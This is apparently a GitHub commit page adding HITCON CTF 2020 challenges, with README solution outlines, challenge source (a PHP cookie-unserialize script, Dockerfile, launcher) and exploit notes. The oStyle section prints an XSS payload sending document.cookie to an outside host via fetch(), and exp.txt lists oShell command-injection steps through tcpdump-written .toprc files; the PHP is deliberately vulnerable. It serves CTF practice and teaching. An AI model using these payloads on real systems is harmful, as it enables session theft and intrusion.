Skip to content

Commit bed6332

Browse files
committed
add hitcon ctf 2020
1 parent d477c39 commit bed6332

File tree

21 files changed

+689
-0
lines changed

21 files changed

+689
-0
lines changed

README.md

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,11 @@ And you can find me via:
2424

2525
## **Table of Content**
2626

27+
* [HITCON 2020](#oShell)
28+
* [oShell](#oShell)
29+
* [oStyle](#oStyle)
30+
* [Return of Use-After-Flee](#return-of-use-after-flee)
31+
2732
* [HITCON 2019 Quals](#virtual-public-network)
2833
* [Virtual Public Network](#virtual-public-network)
2934
* [Bounty Pl33z](#bounty-pl33z)
@@ -72,6 +77,83 @@ And you can find me via:
7277

7378
<br>
7479

80+
## **oShell**
81+
82+
Difficulty: **★★**
83+
Solved: **21 / 1281**
84+
Tag: **BlackBox**, **Shell** ,**Command Injection**
85+
86+
#### Source Code
87+
88+
* [Source](hitcon-ctf-2020/oShell/)
89+
90+
#### Solution
91+
92+
1. Leveraging `strace` in `htop` to read enable secret.
93+
2. Writing `/home/oShell/.toprc` with `tcpdump -w`
94+
3. Abusing `top` inspect feature to run arbitrary commands
95+
96+
97+
#### Write Ups
98+
99+
* [Writeup from team FrenchRoomba](https://github.com/FrenchRoomba/ctf-writeup-HITCON-CTF-2020/tree/master/oShell)
100+
101+
102+
## **oStyle**
103+
104+
Difficulty: **★★☆**
105+
Solved: **10 / 1281**
106+
Tag: **XSS**
107+
108+
#### Source Code
109+
110+
* [Source](hitcon-ctf-2020/oStyle/)
111+
112+
#### Solution
113+
114+
* The default Apache installation enabled `mod_negotiation`, which allows `.var` mapping and you can specify arbitrary content-type there.
115+
116+
**test.var**
117+
```
118+
Content-language: en
119+
Content-type: text/html
120+
Body:----foo----
121+
122+
<script>
123+
fetch('http://orange.tw/?' + escape(document.cookie))
124+
</script>
125+
126+
----foo----
127+
128+
```
129+
130+
131+
#### Write Ups
132+
133+
* TBD
134+
135+
136+
## **Return of Use-After-Flee**
137+
138+
Difficulty: **★★★★★**
139+
Solved: **0 / 1281**
140+
Tag: **WhiteBox**, **PHP**, **UAF**, **PWN**
141+
142+
#### Source Code
143+
144+
* [Source](hitcon-ctf-2020/return-of-use-after-flee/)
145+
146+
#### Solution
147+
148+
* Exploiting `CVE-2015-0273` to pop the shell without known binaries. More detail will be published in [my blog](http://blog.orange.tw/) soon.
149+
150+
151+
#### Write Ups
152+
153+
* TBD
154+
155+
156+
75157
## **Virtual Public Network**
76158

77159
Difficulty: **★☆**
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
<?php
2+
error_reporting(0);
3+
$fid = 1337;
4+
5+
function get($name) {
6+
if (isset($_COOKIE[$name])) {
7+
return $_COOKIE[$name];
8+
}
9+
return false;
10+
}
11+
12+
function set($name, $value = null) {
13+
if (empty($name)) return false;
14+
setcookie($name, $value);
15+
return true;
16+
}
17+
18+
function getVisitor() {
19+
$sign = get('visitor');
20+
if (empty($sign)) return false;
21+
$sign = base64_decode($sign);
22+
return $sign;
23+
}
24+
25+
function signVisitor($extension = array()) {
26+
$sign = base64_encode(serialize($extension));
27+
set('visitor', $sign);
28+
}
29+
30+
$vistor = getVisitor();
31+
if (!$vistor) highlight_file(__FILE__) && die();
32+
$ext = unserialize($vistor);
33+
34+
if (isset($ext['currentFid']) && $ext['currentFid'] == $fid) die('GG');
35+
signVisitor(array('currentFid'=>$fid, 'beforeFid'=>$ext['currentFid']));
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
# CentOS 5.7
2+
# Apache 2.2.22
3+
./configure --prefix=/usr/local/apache2 --sysconfdir=/etc/httpd --enable-rewrite=static --with-mpm=worker --enable-so --enable-proxy --enable-proxy-http --enable-deflate --enable-headers --enable-expires --with-included-apr
4+
5+
# PHP 5.3.27
6+
./configure --prefix=/usr/local/apache2/php --with-apxs2=/usr/local/apache2/bin/apxs --with-config-file-path=/usr/local/apache2/php --enable-mysqlnd
Binary file not shown.
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
#!/usr/bin/python -u
2+
import os, sys
3+
import pty
4+
import uuid
5+
import requests
6+
from time import sleep
7+
from tempfile import mkstemp
8+
from subprocess import check_output
9+
10+
COLORS = {
11+
'header': '\033[95m',
12+
'blue': '\033[94m',
13+
'cyan': '\033[96m',
14+
'green': '\033[92m',
15+
'warning': '\033[93m',
16+
'fail': '\033[91m',
17+
'endc': '\033[0m',
18+
'bold': '\033[1m',
19+
'underline': '\033[4m',
20+
'blink': '\033[5m',
21+
}
22+
23+
def check_token(token):
24+
def _is_valid_uuid(s):
25+
try:
26+
return uuid.UUID(s) is not None
27+
except:
28+
return False
29+
30+
if _is_valid_uuid(token):
31+
r = requests.get('https://ctf2020.hitcon.org/team/token_auth?token=%s' % token)
32+
return r.json().get('id')
33+
# else:
34+
# if token == 'orange':
35+
# return True
36+
37+
def my_exec(cmds):
38+
return check_output(cmds)
39+
40+
def _color(s, color=''):
41+
code = COLORS.get(color)
42+
if code:
43+
return COLORS['bold'] + code + s + COLORS['endc'] + COLORS['endc']
44+
else:
45+
return s
46+
47+
if __name__ == '__main__':
48+
token = raw_input(_color('Team token: ', 'bold')).strip()
49+
if not token or not check_token(token):
50+
print(_color('Bad token. Bye!\n', 'warning'))
51+
exit(-1)
52+
53+
name = 'team-%s' % token
54+
cmds = [
55+
'sudo',
56+
'docker', 'ps', '-q',
57+
'-f', 'name=%s' % name
58+
]
59+
container_id = my_exec(cmds)
60+
if container_id:
61+
print(_color('[*] Connecting to initialized instance...\n', 'bold'))
62+
else:
63+
print(_color('[*] Initializing instance...\n', 'bold'))
64+
65+
_, tmp_name = mkstemp(prefix='%s_'%name, dir='/home/orange/tmp/')
66+
with open(tmp_name, 'wb+') as fp:
67+
fp.write('this-is-secret-' + os.urandom(8).encode('hex'))
68+
69+
os.chmod(tmp_name, 0o444)
70+
cmds = [
71+
'sudo',
72+
'docker', 'rm', '-f', name
73+
]
74+
try:
75+
with open(os.devnull, 'w') as devnull:
76+
check_output(cmds, stderr=devnull)
77+
except:
78+
pass
79+
80+
cmds = [
81+
'sudo',
82+
'docker', 'run', '-d', '--rm',
83+
'--env', 'LOG_HOST=172.17.0.1',
84+
'-v', '%s:/enable.secret' % tmp_name,
85+
'--name', name,
86+
'oshell'
87+
]
88+
my_exec(cmds)
89+
sleep(2)
90+
91+
cmds = [
92+
'sudo',
93+
'docker', 'exec', '-ti',
94+
'-u', 'oShell',
95+
name,
96+
'python', '/oShell.py', 'tty'
97+
]
98+
99+
pty.spawn(cmds)
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
FROM alpine:3.7
2+
MAINTAINER Orange Tsai<orange@chroot.org>
3+
4+
# add user
5+
RUN adduser oShell -h / -s /bin/nologin -D -u 1337 -h /home/oShell/
6+
7+
# copy file
8+
ADD oShell.py /
9+
ADD readflag /
10+
ADD flag /
11+
ADD tcpdump /bin/
12+
13+
14+
# cmd
15+
RUN apk update
16+
RUN apk add htop strace procps libcap python2
17+
18+
# permission
19+
RUN chmod 400 /flag
20+
RUN chmod +s /readflag
21+
RUN chmod 774 /oShell.py
22+
23+
# setup
24+
RUN setcap cap_net_raw=eip /bin/tcpdump cap_net_raw=eip /bin/busybox
25+
RUN rm -rf /usr/bin/top && sed -i 's/UNKNOWN/3.3.12 /g' /bin/top
26+
27+
CMD ["sleep", "300"]
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
#!/bin/bash
2+
3+
docker rm -f `docker ps -a -q`
4+
docker rmi -f oshell
5+
6+
docker build . -t oshell
7+
# docker run -ti --name team-$1 -u oShell oshell

hitcon-ctf-2020/oShell/oShell/exp.txt

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
enable
2+
ping
3+
tcpdump -w /home/oShell/.toprc icmp
4+
5+
ping -c 1 13.115.220.111
6+
7+
# https://github.com/PixelsCamp/ping-responder
8+
# echo net.ipv4.icmp_echo_ignore_all=1 | sudo tee /etc/sysctl.d/z01-disable_echo_reply.conf >/dev/null
9+
# systemctl restart systemd-sysctl
10+
echo -ne '\n\npipe\tOpen Files\ttouch /tmp/eeeeeeeeeeee\n\n' > payload
11+
python3 oshell-icmp.py -v -z -f payload

hitcon-ctf-2020/oShell/oShell/flag

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
HITCON{A! AAAAAAAAAAAA! SHAR~K!!!}

0 commit comments

Comments
 (0)